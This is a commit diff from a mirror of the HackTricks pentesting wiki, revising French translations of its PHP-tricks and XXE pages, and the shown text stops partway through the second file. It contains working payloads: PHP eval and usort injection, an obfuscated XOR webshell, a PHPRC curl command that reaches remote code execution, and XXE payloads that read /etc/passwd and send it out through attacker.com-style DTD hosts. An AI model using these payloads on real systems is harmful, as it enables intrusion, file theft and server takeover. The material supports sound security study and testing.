mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
11f1a92bcf
commit
b1b33e2909
3 changed files with 104 additions and 80 deletions
|
@ -2,18 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Emplacement commun des cookies :
|
||||
|
||||
Cela est également valable pour les cookies de phpMyAdmin.
|
||||
|
@ -34,7 +38,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Comparaisons lâches/Type Juggling ( == )
|
||||
|
||||
Si `==` est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" compare uniquement les valeurs transformées en le même type. Si vous voulez également comparer que le type des données comparées est le même, vous devez utiliser `===`.
|
||||
Si `==` est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" compare uniquement les valeurs transformées en le même type. Si vous souhaitez également comparer que le type des données comparées est le même, vous devez utiliser `===`.
|
||||
|
||||
Tableaux de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -70,7 +74,7 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
Le même erreur se produit avec `strcasecmp()`
|
||||
La même erreur se produit avec `strcasecmp()`
|
||||
|
||||
### Conversion de type strict
|
||||
|
||||
|
@ -80,11 +84,11 @@ Même si `===` est **utilisé**, il peut y avoir des erreurs qui rendent la **co
|
|||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** pourrait être utilisé pour **valider l'entrée de l'utilisateur** (il **vérifie** si un **mot/regex** de **liste noire** est **présent** dans l'**entrée de l'utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
|
||||
**`preg_match()`** pourrait être utilisé pour **valider l'entrée de l'utilisateur** (il **vérifie** si un **mot/réglage** d'une **liste noire** est **présent** dans l'**entrée de l'utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
|
||||
|
||||
#### Contournement de saut de ligne
|
||||
|
||||
Cependant, en délimitant le début de l'expression régulière, `preg_match()` **ne vérifie que la première ligne de l'entrée de l'utilisateur**, puis si d'une manière ou d'une autre vous pouvez **envoyer** l'entrée sur **plusieurs lignes**, vous pourriez contourner cette vérification. Exemple :
|
||||
Cependant, en délimitant le début de l'expression régulière, `preg_match()` **vérifie uniquement la première ligne de l'entrée de l'utilisateur**, puis si d'une manière ou d'une autre vous pouvez **envoyer** l'entrée sur **plusieurs lignes**, vous pourriez contourner cette vérification. Exemple :
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -121,7 +125,7 @@ Astuce de : [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
En bref, le problème se produit car les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP cette limite [est par défaut à 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui dépasse la taille de la pile.
|
||||
|
||||
[Cette discussion sur Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été liée dans l'article où il est discuté plus en profondeur de ce problème. Notre tâche était maintenant claire :\
|
||||
**Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction `preg_match()` renvoie `false`, ce qui fait croire à l'application que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> drapeau :)**.
|
||||
**Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction `preg_match()` renvoie `false`, ce qui fait penser à l'application que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> drapeau :)**.
|
||||
|
||||
Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", comme le [document PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) le mentionne, elle est par défaut à 1 000 000 (1M) dans la variable `pcre.backtrack_limit`.\
|
||||
Pour y parvenir, `'X'*500_001` donnera comme résultat 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :
|
||||
|
@ -153,7 +157,7 @@ readfile($page);
|
|||
```
|
||||
## Exploitation de la Traversal de Chemin et de l'Inclusion de Fichier
|
||||
|
||||
Vérifiez:
|
||||
Vérifiez :
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
|
@ -161,16 +165,16 @@ Vérifiez:
|
|||
|
||||
## Plus de astuces
|
||||
|
||||
* **register\_globals**: Dans **PHP < 4.1.1.1** ou s'ils sont mal configurés, **register\_globals** peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $\_GET si elles ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser les variables** qui sont utilisées dans le code.
|
||||
* **register\_globals** : Dans **PHP < 4.1.1.1** ou s'ils sont mal configurés, **register\_globals** peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $\_GET s'ils ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser les variables** qui sont utilisées dans le code.
|
||||
* Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie du chemin** en définissant la valeur du cookie de l'autre chemin.\
|
||||
De cette manière, si **les deux chemins accèdent à une variable portant le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans le chemin1 s'applique au chemin2**. Ensuite, le chemin2 considérera comme valides les variables du chemin1 (en donnant au cookie le nom qui lui correspond dans le chemin2).
|
||||
* Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse: **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
|
||||
* Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
|
||||
* [**LFI et RCE en utilisant des wrappers php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Ces fonctions sont généralement utilisées en PHP pour **générer des hachages à partir de mots de passe** et pour **vérifier** si un mot de passe est correct par rapport à un hachage.\
|
||||
Les algorithmes pris en charge sont: `PASSWORD_DEFAULT` et `PASSWORD_BCRYPT` (commence par `$2y$`). Notez que **PASSWORD\_DEFAULT est fréquemment identique à PASSWORD\_BCRYPT.** Et actuellement, **PASSWORD\_BCRYPT** a une **limite de taille en entrée de 72 octets**. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72 octets seront utilisés:
|
||||
Les algorithmes pris en charge sont : `PASSWORD_DEFAULT` et `PASSWORD_BCRYPT` (commence par `$2y$`). Notez que **PASSWORD\_DEFAULT est fréquemment identique à PASSWORD\_BCRYPT.** Et actuellement, **PASSWORD\_BCRYPT** a une **limite de taille en entrée de 72 octets**. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72 octets seront utilisés :
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -180,8 +184,8 @@ True
|
|||
```
|
||||
### Contournement des en-têtes HTTP en abusant des erreurs PHP
|
||||
|
||||
Si une **page PHP imprime des erreurs et renvoie une certaine entrée fournie par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP renvoie un **contenu suffisamment long** pour que lorsqu'il essaie d'**ajouter les en-têtes** dans la réponse, le serveur génère une erreur.\
|
||||
Dans le scénario suivant, l'**attaquant a provoqué des erreurs importantes** sur le serveur, et comme vous pouvez le voir à l'écran, lorsque PHP a tenté de **modifier les informations d'en-tête, il n'a pas pu** (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
|
||||
Si une **page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur**, l'utilisateur peut faire en sorte que le serveur PHP renvoie un **contenu suffisamment long** pour que lorsqu'il essaie d'**ajouter les en-têtes** dans la réponse, le serveur génère une erreur.\
|
||||
Dans le scénario suivant, **l'attaquant a provoqué des erreurs importantes sur le serveur**, et comme vous pouvez le voir à l'écran, lorsque PHP a tenté de **modifier les informations d'en-tête, il n'a pas pu** (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :
|
||||
|
||||
![](<../../../.gitbook/assets/image (1082).png>)
|
||||
|
||||
|
@ -216,11 +220,11 @@ Cette fonction en php vous permet d'**exécuter du code qui est écrit dans une
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
Vous devrez **casser** la **syntaxe** du code, **ajouter** votre **charge utile**, puis la **réparer**. Vous pouvez utiliser des opérations logiques telles que "**and**" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.
|
||||
Vous devrez **casser** la **syntaxe** du code, **ajouter** votre **charge utile**, puis la **réparer**. Vous pouvez utiliser des opérations logiques telles que "**and" ou "%26%26" ou "|"**. Notez que "or", "||" ne fonctionnent pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.
|
||||
|
||||
**Une autre option** est d'ajouter à la chaîne l'exécution de la commande : `'.highlight_file('.passwd').'`
|
||||
|
||||
**Autre option** (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : `$file = "hola"`
|
||||
**Une autre option** (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : `$file = "hola"`
|
||||
|
||||
### **RCE via usort()**
|
||||
|
||||
|
@ -247,7 +251,7 @@ usort();}phpinfo;#, "cmp");
|
|||
```
|
||||
### **RCE via .httaccess**
|
||||
|
||||
Si vous pouvez **uploader** un **.htaccess**, alors vous pouvez **configurer** plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être **exécutés**).
|
||||
Si vous pouvez **uploader** un **.htaccess**, alors vous pouvez **configurer** plusieurs choses et même exécuter du code (configurer les fichiers avec l'extension .htaccess pour être **exécutés**).
|
||||
|
||||
Différentes coquilles .htaccess peuvent être trouvées [ici](https://github.com/wireghoul/htshells)
|
||||
|
||||
|
@ -264,11 +268,11 @@ Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables
|
|||
* **PHPRC** - une autre option
|
||||
* Si vous ne pouvez pas uploader de fichiers, vous pourriez utiliser dans FreeBSD le "fichier" `/dev/fd/0` qui contient le **`stdin`**, étant le **corps** de la requête envoyée au `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Ou pour obtenir RCE, activez **`allow_url_include`** et préfixez un fichier avec du **code PHP en base64**:
|
||||
* Ou pour obtenir une RCE, activez **`allow_url_include`** et préfixez un fichier avec du **code PHP en base64**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Technique [**de ce rapport**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
## Analyse Statique PHP
|
||||
## PHP Analyse Statique
|
||||
|
||||
Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (de [ici](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||
```php
|
||||
|
@ -304,7 +308,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE abusant de new $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
Si dans une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez obtenir une RCE, consultez la page suivante pour apprendre comment faire :
|
||||
Si dans une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir une RCE, consultez la page suivante pour apprendre comment :
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -325,16 +329,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
|||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### Code shell XOR facile
|
||||
### Code shell XOR simple
|
||||
|
||||
Selon [**cette explication**](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un code shell facile de cette manière :
|
||||
Selon [**cette explication**](https://mgp25.com/ctf/Web-challenge/), il est possible de générer un code shell simple de cette manière :
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres ni lettres**, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :
|
||||
Donc, si vous pouvez **exécuter du PHP arbitraire sans chiffres et lettres**, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -363,8 +367,6 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### Perl like
|
||||
|
||||
### Comme Perl
|
||||
```php
|
||||
<?php
|
||||
|
@ -403,9 +405,13 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
|
@ -413,6 +419,6 @@ D'autres façons de soutenir HackTricks:
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,25 +8,29 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Bases XML
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, offrant une structure flexible permettant l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en ce qu'il n'est pas limité à un ensemble de balises prédéfinies. La signification de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Bases de l'XML
|
||||
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, offrant une structure flexible permettant l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. La signification de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
|
||||
* **Représentation des données à travers les entités** : Les entités en XML permettent la représentation des données, y compris les caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balisage XML.
|
||||
* **Définition des éléments XML** : XML permet la définition des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques.
|
||||
* **Définition de type de document (DTD)** : Les DTD sont cruciales en XML pour définir la structure du document et les types de données qu'il peut contenir. Elles peuvent être internes, externes ou une combinaison des deux, guidant la façon dont les documents sont formatés et validés.
|
||||
* **Définition du type de document (DTD)** : Les DTD sont cruciales en XML pour définir la structure du document et les types de données qu'il peut contenir. Elles peuvent être internes, externes ou une combinaison des deux, guidant la façon dont les documents sont formatés et validés.
|
||||
* **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées dans une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques par entité externe XML (XXE), qui exploitent la manière dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "valeur" > ]>`
|
||||
* **Détection de XXE avec des entités de paramètres** : Pour détecter les vulnérabilités XXE, en particulier lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité de l'analyseur, les entités de paramètres XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de recherches DNS ou de requêtes HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Attaques principales
|
||||
## Principales attaques
|
||||
|
||||
[**La plupart de ces attaques ont été testées en utilisant les excellents laboratoires XEE de Portswiggers : https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
|
@ -51,7 +55,9 @@ Dans ce premier cas, notez que SYSTEM "_\*\*file:///\*\*etc/passwd_" fonctionner
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Ce deuxième cas devrait être utile pour extraire un fichier si le serveur web utilise PHP (ce n'est pas le cas des laboratoires de Portswiggers)
|
||||
![](<../.gitbook/assets/image (83).png>)
|
||||
|
||||
Ce deuxième cas devrait être utile pour extraire un fichier si le serveur web utilise PHP (Pas le cas des laboratoires Portswiggers)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
|
@ -95,9 +101,9 @@ En utilisant la **technique précédemment commentée**, vous pouvez amener le s
|
|||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### SSRF "aveugle" - Exfiltrer des données hors bande
|
||||
### SSRF "Aveugle" - Exfiltrer des données hors bande
|
||||
|
||||
**Dans ce cas, nous allons faire en sorte que le serveur charge une nouvelle DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (**pour **les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via** _**ftp://**_ en utilisant par exemple ce serveur de base [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur le** [**laboratoire de Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**Dans ce cas, nous allons faire charger au serveur une nouvelle DTD avec une charge utile malveillante qui enverra le contenu d'un fichier via une requête HTTP (**pour **les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via** _**ftp://**_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**le laboratoire de Portswigger ici**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Dans la DTD malveillante donnée, une série d'étapes sont effectuées pour exfiltrer des données :
|
||||
|
||||
|
@ -110,7 +116,7 @@ La structure est la suivante :
|
|||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
Les étapes exécutées par cette DTD comprennent:
|
||||
Les étapes exécutées par cette DTD incluent:
|
||||
|
||||
1. **Définition des entités de paramètres:**
|
||||
* Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
|
||||
|
@ -133,10 +139,10 @@ Ce payload définit une entité de paramètre XML `%xxe` et l'incorpore dans le
|
|||
|
||||
**Dans ce cas, nous allons faire en sorte que le serveur charge un DTD malveillant qui affichera le contenu d'un fichier à l'intérieur d'un message d'erreur (valable uniquement si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Un message d'erreur d'analyse XML, révélant le contenu du fichier `/etc/passwd`, peut être déclenché en utilisant une Définition de Type de Document externe (DTD) malveillante. Cela est accompli à travers les étapes suivantes :
|
||||
Un message d'erreur d'analyse XML, révélant le contenu du fichier `/etc/passwd`, peut être déclenché en utilisant une Définition de Type de Document externe (DTD) malveillante. Cela est réalisé à travers les étapes suivantes :
|
||||
|
||||
1. Une entité de paramètre XML nommée `file` est définie, qui contient le contenu du fichier `/etc/passwd`.
|
||||
2. Une entité de paramètre XML nommée `eval` est définie, incorporant une déclaration dynamique pour une autre entité de paramètre XML nommée `error`. Cette entité `error`, lorsqu'évaluée, tente de charger un fichier inexistant, incorporant le contenu de l'entité `file` comme son nom.
|
||||
2. Une entité de paramètre XML nommée `eval` est définie, incorporant une déclaration dynamique pour une autre entité de paramètre XML nommée `error`. Cette entité `error`, lorsqu'elle est évaluée, tente de charger un fichier inexistant, incorporant le contenu de l'entité `file` comme son nom.
|
||||
3. L'entité `eval` est invoquée, conduisant à la déclaration dynamique de l'entité `error`.
|
||||
4. L'invocation de l'entité `error` entraîne une tentative de chargement d'un fichier inexistant, produisant un message d'erreur qui inclut le contenu du fichier `/etc/passwd` en tant que partie du nom de fichier.
|
||||
|
||||
|
@ -146,7 +152,7 @@ Le DTD externe malveillant peut être invoqué avec le XML suivant :
|
|||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
À l'exécution, la réponse du serveur web devrait inclure un message d'erreur affichant le contenu du fichier `/etc/passwd`.
|
||||
À l'exécution, la réponse du serveur Web devrait inclure un message d'erreur affichant le contenu du fichier `/etc/passwd`.
|
||||
|
||||
![](<../.gitbook/assets/image (806).png>)
|
||||
|
||||
|
@ -194,7 +200,7 @@ Les étapes décrites sont exécutées par cette DTD :
|
|||
```
|
||||
![](<../.gitbook/assets/image (622).png>)
|
||||
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pourriez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **recherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** s'il en existe un :
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pourriez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **recherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** à l'intérieur des systèmes et en **vérifiant** s'il en existe un :
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
|
@ -209,7 +215,7 @@ Dans le dépôt GitHub suivant, vous pouvez trouver **les chemins des DTD qui pe
|
|||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
